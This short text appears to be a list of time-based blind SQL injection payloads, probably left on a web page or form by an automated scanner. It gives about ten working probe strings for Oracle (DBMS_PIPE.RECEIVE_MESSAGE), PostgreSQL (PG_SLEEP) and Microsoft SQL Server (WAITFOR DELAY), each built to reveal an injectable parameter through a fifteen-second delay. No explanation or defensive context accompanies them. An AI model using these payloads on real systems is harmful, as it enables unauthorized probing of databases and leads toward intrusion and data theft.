17

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555xsc6sCQI’)) OR 653=(SELECT 653 FROM PG_SLEEP(15))–

555urPqP8H9′) OR 303=(SELECT 303 FROM PG_SLEEP(15))–

555I0UvgLMr’ OR 801=(SELECT 801 FROM PG_SLEEP(15))–

555-1)) OR 316=(SELECT 316 FROM PG_SLEEP(15))–

555-1) OR 955=(SELECT 955 FROM PG_SLEEP(15))–

555-1 OR 345=(SELECT 345 FROM PG_SLEEP(15))–

555wbiGiIEh’; waitfor delay ‘0:0:15’ —

555-1 waitfor delay ‘0:0:15’ —

555-1); waitfor delay ‘0:0:15’ —